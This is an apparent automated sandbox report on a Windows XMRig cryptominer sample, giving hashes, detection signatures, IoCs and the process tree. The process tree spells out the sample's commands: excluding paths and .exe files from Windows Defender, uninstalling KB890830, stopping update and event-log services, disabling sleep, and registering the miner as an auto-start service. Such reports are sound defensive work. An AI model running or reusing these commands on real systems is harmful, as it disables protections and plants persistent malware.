Analysis
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max time kernel
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max time network
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platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
21-11-2024 00:08
Static task
static1
Behavioral task
behavioral1
Sample
711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe
Resource
win7-20240903-en
General
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Target
711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe
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Size
5.6MB
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MD5
33bf5df2b248d4e071fcfd97b96b23b8
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SHA1
da4ac64356aec41f60634489f353c1330f433d0d
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SHA256
711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae
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SHA512
2387bd82e6b09fef517100586884e5542fe4de614146f6e770fbf1f2e46f0095690510f5a629c393f604573da05ecf51802f74279820d396560d7cef4fc18fd7
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SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
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Xmrig family
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XMRig Miner payload 8 IoCs
resource yara_rule behavioral1/memory/664-34-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/664-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/664-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/664-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/664-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/664-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/664-31-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/664-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 1352 powershell.exe 1380 powershell.exe -
Creates new service(s) 2 TTPs
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Deletes itself 1 IoCs
pid Process 1768 cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 480 Process not Found 2360 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
pid Process 480 Process not Found -
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
pid Process 2584 powercfg.exe 2792 powercfg.exe 2988 powercfg.exe 2404 powercfg.exe 2180 powercfg.exe 2684 powercfg.exe 2876 powercfg.exe 2580 powercfg.exe -
Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\MRT.exe 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2360 set thread context of 2416 2360 lutlgidagtja.exe 86 PID 2360 set thread context of 664 2360 lutlgidagtja.exe 90 -
resource yara_rule behavioral1/memory/664-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-34-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-26-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/664-39-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2892 sc.exe 2008 sc.exe 2688 sc.exe 2820 sc.exe 2616 sc.exe 1200 sc.exe 2928 sc.exe 2784 sc.exe 2592 sc.exe 1636 sc.exe 2484 sc.exe 2608 sc.exe 1780 sc.exe 760 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 104de285a93bdb01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1352 powershell.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 1632 711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe 2360 lutlgidagtja.exe 1380 powershell.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 2360 lutlgidagtja.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe 664 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1352 powershell.exe Token: SeShutdownPrivilege 2792 powercfg.exe Token: SeShutdownPrivilege 2876 powercfg.exe Token: SeShutdownPrivilege 2580 powercfg.exe Token: SeShutdownPrivilege 2584 powercfg.exe Token: SeDebugPrivilege 1380 powershell.exe Token: SeShutdownPrivilege 2180 powercfg.exe Token: SeShutdownPrivilege 2404 powercfg.exe Token: SeShutdownPrivilege 2988 powercfg.exe Token: SeShutdownPrivilege 2684 powercfg.exe Token: SeLockMemoryPrivilege 664 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
description pid Process procid_target PID 2780 wrote to memory of 3008 2780 cmd.exe 39 PID 2780 wrote to memory of 3008 2780 cmd.exe 39 PID 2780 wrote to memory of 3008 2780 cmd.exe 39 PID 1768 wrote to memory of 2932 1768 cmd.exe 64 PID 1768 wrote to memory of 2932 1768 cmd.exe 64 PID 1768 wrote to memory of 2932 1768 cmd.exe 64 PID 2408 wrote to memory of 1552 2408 cmd.exe 72 PID 2408 wrote to memory of 1552 2408 cmd.exe 72 PID 2408 wrote to memory of 1552 2408 cmd.exe 72 PID 2360 wrote to memory of 2416 2360 lutlgidagtja.exe 86 PID 2360 wrote to memory of 2416 2360 lutlgidagtja.exe 86 PID 2360 wrote to memory of 2416 2360 lutlgidagtja.exe 86 PID 2360 wrote to memory of 2416 2360 lutlgidagtja.exe 86 PID 2360 wrote to memory of 2416 2360 lutlgidagtja.exe 86 PID 2360 wrote to memory of 2416 2360 lutlgidagtja.exe 86 PID 2360 wrote to memory of 2416 2360 lutlgidagtja.exe 86 PID 2360 wrote to memory of 2416 2360 lutlgidagtja.exe 86 PID 2360 wrote to memory of 2416 2360 lutlgidagtja.exe 86 PID 2360 wrote to memory of 664 2360 lutlgidagtja.exe 90 PID 2360 wrote to memory of 664 2360 lutlgidagtja.exe 90 PID 2360 wrote to memory of 664 2360 lutlgidagtja.exe 90 PID 2360 wrote to memory of 664 2360 lutlgidagtja.exe 90 PID 2360 wrote to memory of 664 2360 lutlgidagtja.exe 90
Processes
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C:\Users\Admin\AppData\Local\Temp\711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe"C:\Users\Admin\AppData\Local\Temp\711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1632 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1352
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:3008
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2820
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:2784
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:2592
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2892
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2608
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2876
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2792
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2584
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2580
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
PID:2616
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
PID:1636
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
PID:2008
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
PID:1200
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2932
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C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1380
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
PID:2408 -
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
PID:1552
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
PID:2484
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
PID:1780
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
PID:760
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
PID:2928
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C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
PID:2688
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2988
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2180
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2404
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C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:2684
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C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵PID:2416
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C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:664
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
5.6MB
MD533bf5df2b248d4e071fcfd97b96b23b8
SHA1da4ac64356aec41f60634489f353c1330f433d0d
SHA256711a48bfb45f968d3693a94b773ae9ac5fd4ee03cf4da7c2ce1ebc83ed5361ae
SHA5122387bd82e6b09fef517100586884e5542fe4de614146f6e770fbf1f2e46f0095690510f5a629c393f604573da05ecf51802f74279820d396560d7cef4fc18fd7